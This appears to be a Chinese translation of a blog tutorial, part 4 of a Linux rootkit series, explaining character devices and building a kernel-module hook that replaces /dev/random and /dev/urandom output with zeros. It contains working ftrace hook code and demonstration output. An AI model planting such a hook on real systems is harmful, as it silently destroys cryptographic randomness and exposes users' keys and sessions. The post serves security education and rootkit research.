Xcellerator
密码学Linux其他逆向工程
文章目录
- [Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门](https://xcellerator.github.io/posts/linux_rootkits_04/)
- Linux 中的字符设备
- 字符设备的读取例程
- 编写 Rootkit
- 我们能去哪里呢?
Linux Rootkit 第 4 部分:通过干扰 Char 设备为 PRNG 添加后门
2020-09-09 :: TheXcellerator
# linux # rootkit # char #设备 #随机 # urandom
我们在第 3 部分中看到,向系统调用添加一些额外功能是多么容易。这次我们将针对一对不是系统调用且不能直接调用的内核函数。要了解它们是什么,有必要先讨论一下字符设备。
Linux 中的字符设备
尽管您可能不认识该名称,但您可能已经非常熟悉一堆char(或char aacter)设备。他们通常生活在下面/dev/
,他们的源代码可以在 中找到drivers/char
。也许最常见的是random
,urandom
这两个是我们稍后将针对的目标。
本质上,字符设备是内核的一些功能,将其作为文件公开给用户是有意义的。random
对于诸如和 之类的东西尤其清楚urandom
- 如果我们希望内核给我们一些随机字节,那么我们只需从其中任何一个读取(通常使用dd
)。
$ dd if=/dev/random bs=1 count=32 | xxd
00000000: a1ec bdbd 638c dabd 4c04 e018 9cc0 0993 ....c...L.......
00000010: 50e1 b686 8997 3572 c0ec d05c d799 9103 P.....5r...\....
32+0 records in
32+0 records out
32 bytes copied, 0.000535243 s, 59.8 kB/s
复制
不要误以为这是一个真实的文件!如果您将硬盘驱动器安装在另一台计算机上,您将找不到任何这些字符设备。看看,我们random
看到file
:
$ file /dev/random
/dev/random: character special (1/8)
复制
这强化了这样一个事实:我们不是在处理实际的文件 - 即使它们的行为与它们相似!
/dev/random
和之间的区别/dev/urandom
实际上相当微妙。最终,这一切都取决于系统的可用熵——您可以将其视为随机性的度量。两个 char 设备都从相同的 CSPRNG(加密安全伪随机数生成器)获取熵,但不同之处在于,/dev/random
如果熵用完,它将停止生成字节 - 这一过程称为阻塞,而/dev/urandom
使用一些技巧来不断地为内部种子播种状态以便无限期地继续生成字节。从技术上讲,/dev/random
是更安全的选择,但实际上它并不可靠,/dev/urandom
而且容易产生竞争条件。还值得注意的是,系统调用默认sys_getrandom()
读取/dev/urandom
,我们稍后会看到。
那么,当我们尝试读取或写入字符设备时,内核如何决定做什么呢?如果您猜到它使用结构体,那么您猜对了!每个字符设备都有一个file_operations
分配给它的结构(这基本上构成了它的定义)。该结构体包含一个.read
和.write
字段等,其中包含指向函数的点!
.read
就这么简单 - 当我们尝试从字符设备读取时,我们执行相应结构的字段指向的函数file_operations
。
我们真的应该首先了解一下读取是如何完成的——特别是如果我们想介入这些读取并干扰它们的话!查找sys_read
Linux Syscall Reference告诉我们它需要 3 个参数:文件描述符、缓冲区和要读取的字节数。这三件事值得仔细研究。
- 文件描述符只是分配给某个文件的一个数字。如果我们在用户空间中编程,我们首先需要使用
sys_open
系统调用,该系统调用将文件名作为其参数之一并返回文件描述符。由于我们将在内核中工作,因此我们实际上不必担心这一点,因为在调用时文件描述符已经被分配给/dev/random
或。/dev/urandom``sys_read
- 缓冲区是更有趣的部分,也是我们稍后需要关心的部分。应该发生的情况是,用户应该在内存中的某处分配一个空缓冲区,然后给出
sys_read
指向该缓冲区的指针。然后内核将从分配给该缓冲区的任何文件描述符中读取数据。 - 最后,要读取的字节数就是 - 应该从文件描述符指向的事物中读取多少字节。当执行读取时,我们会自动向前查找读取的字节数。虽然这对于 char 设备来说并不重要,但在处理涉及
sys_read
.
sys_read
(into )返回的值eax
是成功读取的字节数。让我重复一遍:返回的唯一内容sys_read
是读取的字节数。如果您来自解释语言(如 Python)的世界,那么这可能会让您感到惊讶。我们必须提供sys_read
一个缓冲区来存储它为我们读取的数据。
另一件需要指出的重要事情是,它sys_read
不知道它正在读取什么 - 它所拥有的只是一个文件描述符!如果我们想操纵对系统调用的读取random
和urandom
使用系统调用,我们必须同时挂钩sys_read
和sys_open
。然后我们必须等待某些东西尝试打开任何一个字符设备,记录它返回到某处的文件描述符并等待从中*读取某些内容。*事实上,我们还必须挂钩sys_close
,以便我们知道何时停止监视文件描述符!听起来很复杂,对吧?幸运的是,我们不仅可以挂钩系统调用!
字符设备的读取例程
让我们看一下drivers/char/random.c
哪里有以下两个片段:
const struct file_operations random_fops = {
.read = random_read,
.write = random_write,
/* trimmed for clarity */
};
const struct file_operations urandom_fops = {
.read = urandom_read,
.write = urandom_write,
/* trimmed for clarity */
};
复制
这告诉我们,每当有东西试图从/dev/random
or读取时/dev/urandom
,函数random_read()
orurandom_read()
就会分别被调用。看一下其中一个函数,我们发现:
static ssize_t
random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
int ret;
ret = wait_for_random_bytes();
if (ret != 0)
return ret;
return urandom_read_nowarn(file, buf, nbytes, ppos);
}
复制
这看起来和我们可以钩住的东西一模一样!
这个函数的内部结构相当不重要,因为我们最终的钩子无论如何都会通过完整调用这个函数来开始。重要的是函数的定义方式,因为我们需要在 rootkit 中模拟它。请注意,第二个和第三个参数是缓冲区和大小sys_read()
- 这些是我们之前讨论的传递的参数!还要注意__user
标识符 - 稍后这将非常重要。
编写 Rootkit
我们将挂钩两者random_read()
,urandom_read()
这将允许我们在返回用户空间之前对包含读取数据的缓冲区进行更改。
每当我们想要用 ftrace 挂钩一个函数时,我们需要检查符号名称是否由内核导出。所有系统调用都是如此,但是由于我们的目标都不在系统调用表中,因此我们最好手动检查。正如之前的帖子中提到的,这是通过查看以下内容来完成的/proc/kallsyms
:
$ sudo cat /proc/kallsyms | grep random_read
/* redacted for clarity */
ffffffff84c934a0 t random_read
ffffffff84c934d0 t urandom_read
复制
好的,一切都好。我们现在需要做的第一件事是为原始副本提供正确的函数声明:
static asmlinkage ssize_t (*orig_random_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);
static asmlinkage ssize_t (*orig_urandom_read)(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos);
复制
现在我们开始编写实际的钩子。我只会通过 for 的钩子,random_read()
因为它与for相同urandom_read()
,只是我们额外插入u
了一个。当我们完成它时,您就会明白为什么会出现这种情况。
还记得sys_read()
返回成功读取的字节数吗?嗯,random_read()
做同样的事情!我们的钩子所做的第一件事就是orig_random_read()
使用它提供的所有参数进行调用。粗略地说,我们有:
static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
int bytes_read;
bytes_read = orig_random_read(file, buf, nytes, ppos);
printk(KERN_DEBUG "rootkit: intercepted read to /dev/random: %d bytes\n", bytes_read);
/* do something to buf */
return bytes_read;
}
复制
如果您停在这里并充实 Rootkit 的其余部分(ftrace、include 等),那么您将获得一个工作内核模块,dmesg
每次我们尝试从/dev/random
. 这个模块的真正大脑是我们buf
在返回用户空间之前所做的事情。
为简单起见,我们将用 填充缓冲区0x00
。不幸的是(或者幸运的是,取决于你如何看待它),这并不像听起来那么容易。部分原因是由于__user
缓冲区标识符的存在。这提醒内核(和我们!)buf
指向用户空间虚拟内存中的地址。我们不知道这个虚拟地址在物理上映射到哪里,因此尝试执行读取或写入操作可能会导致段错误。
这个问题的解决方案是使用copy_from_user()
和copy_to_user()
函数,它允许我们在用户空间和内核空间的数组之间复制数据。对于这个模块,我们实际上只需要copy_to_user()
,但无论如何我都会使用它们来向您展示它们是如何工作的。
首先,我们需要在内核空间中拥有一个自己的数组。如果您曾经使用过malloc()
C 语言,那么您将会非常熟悉。我们使用函数kzalloc()
,它有 2 个参数;一个尺寸和一些标志。然后它分配我们想要大小的内存区域并将地址返回给我们。当我们使用完这个缓冲区后,我们kfree()
告诉内核我们不再需要该内存补丁。它看起来像这样:
char *kbuf = NULL;
int buf_size = 32;
kbuf = kzalloc(buf_size, GFP_KERNEL);
if(kbuf)
printk(KERN_ERROR "could not allocate buffer\n");
/* do something with the shiny new buffer */
kfree(kbuf);
复制
很简单,对吧?该GFP_KERNEL
标志表明该缓冲区将在内核内存中分配 - 您可以在此处阅读有关可能标志的更多信息。
所以,现在我们可以用来copy_from_user()
获取从中“读取”的随机字节/dev/random
(我们可以跳过这一步,因为我们实际上只需要将零填充的缓冲区复制回buf
,但这对于以后的模块很有用看看这部分是如何工作的)。
long error;
error = copy_from_user(kbuf, buf, bytes_read);
if(error)
printk(KERN_ERROR "failed to copy from user space: %d\n", error);
/* Fill kbuf with 0x00 */
error = copy_to_user(buf, kbuf, bytes_read);
if(error)
printk(KERN_ERROR "failed to copy back to user space: %d\n", error);
复制
把它们放在一起,我们得到以下钩子:
static asmlinkage ssize_t hook_random_read(struct file *file, char __user *buf, size_t nbytes, loff_t *ppos)
{
int bytes_read, i;
long error;
char *kbuf = NULL;
/* Call the real random_read() */
bytes_read = orig_random_read(file, buf, nbytes, ppos);
/* Allocate a kernel buffer big enough to to hold everything */
kbuf = kzalloc(bytes_read, GFP_KERNEL);
/* Copy the random bytes from the userspace buf */
error = copy_from_user(kbuf, buf, bytes_read);
/* Check for any errors in copying */
if(error)
{
printk(KERN_DEBUG "rootkit: %d bytes could not be copied into kbuf\n", error);
kfree(kbuf);
return bytes_read;
}
/* Fill kbuf with 0x00 */
for ( i = 0 ; i < bytes_read ; i++ )
kbuf[i] = 0x00;
/* Copy the rigged buffer back to userspace */
error = copy_to_user(buf, kbuf, bytes_read);
if(error)
printk(KERN_DEBUG "rootkit: %d bytes could not be copied back into buf\n", error);
/* Free the buffer before returning */
kfree(kbuf);
return bytes_read;
}
复制
正如您所看到的,这里没有任何特定的内容/dev/random
,因此该函数也完全相同hook_urandom_read()
(以及您想要干扰的任何其他字符设备!)。
将整个过程与 ftrace 代码(完整的、可工作的源代码可以在存储库中找到)放在一起,我们就可以开始构建和测试了!
请注意,我们不必担心
pt_regs
结构的整个加倍业务,例如第 3 部分sys_kill
中的钩子。这是因为我们没有在此 rootkit 中挂钩系统调用 - 内核调用常规函数的方式是明确的!
好的,如果我们继续 and make
、insmod rootkit.ko
等,我们可以看到当我们尝试读取/dev/random
or时会发生什么/dev/urandom
:
$ dd if=/dev/random bs=1 count=32 | xxd
00000000: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
32+0 records in
32+0 records out
32 bytes copied, 0.0157476 s, 2.0 kB/s
复制
呼呼呼!不再有随机字节给您!我在存储库上也截取了这个屏幕截图,因为我只是觉得这太酷了!
我们能去哪里呢?
显然,无法获取任何随机字节会严重破坏系统的密码安全性。用户空间中的程序与这些字符设备交互的最常见方式是sys_getrandom()
系统调用。如前所述,此系统调用/dev/urandom
默认使用(但/dev/random
如果提供标志也可以使用GRND_RANDOM
),因此 hook 特别具有非常广泛的影响。
让我们编写一个快速而简单的 Python 脚本来计算一些随机数:
#!/usr/bin/python3
import random
SAMPLE_SIZE = 1000
headcount = 0
coinflips = []
for i in range(SAMPLE_SIZE):
newflip = random.randint(0,1)
if ( newflip == 0 ):
headcount += 1
coinflips.append(newflip)
print("Heads: " + str(headcount))
print("Tails: " + str(SAMPLE_SIZE - headcount))
复制
让我们运行几次,看看会发生什么:
$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485
$ ./check.py
Heads: 515
Tails: 485
复制
我想你明白了…我们已经大大减少了可用的随机性(在这个特定的统计数据的情况下,我们已经将其减少到零!)。为了进行比较,让我们看看在卸载 rootkit 后再次运行该 Python 脚本会发生什么:
$ ./check.py
Heads: 483
Tails: 517
$ ./check.py
Heads: 496
Tails: 504
$ ./check.py
Heads: 508
Tails: 492
复制
随机性又回来了!
我们知道 Python 正在使用sys_getrandom()
它来生成“硬币翻转”(我们可以通过使用 strace 或添加printf()
对hook_urandom_read()
钩子的调用来检查)。值得注意的是,Python 通过仅使用sys_getrandom()
其内部 RNG 的种子来减轻一些损害。这可以通过修改 Python 脚本以连续打印硬币翻转而不是仅打印一次来看出。如果我们这样做,我们会看到每次迭代时抛硬币的比例都会改变,但每次运行时都会给出相同的数字!如果您想亲自检查,请在加载和不加载 rootkit 的情况下尝试此操作。
我正在研究一个涉及 ssh-keygen 的更好的示例,但这必须等到另一个时间…
阅读其他帖子
←Linux Rootkit 第 5 部分:从用户空间隐藏内核模块Linux Rootkit 第 3 部分:Root 后门→
哈维菲利普斯 2020 - 伦敦, 英国:: panr制作的主题
该网站是闹鬼网络的一部分
<<< 随机 >>>
一部分](https://pixeldreams.tokyo/cgi-bin/webring.cgi)
<<< 随机 >>>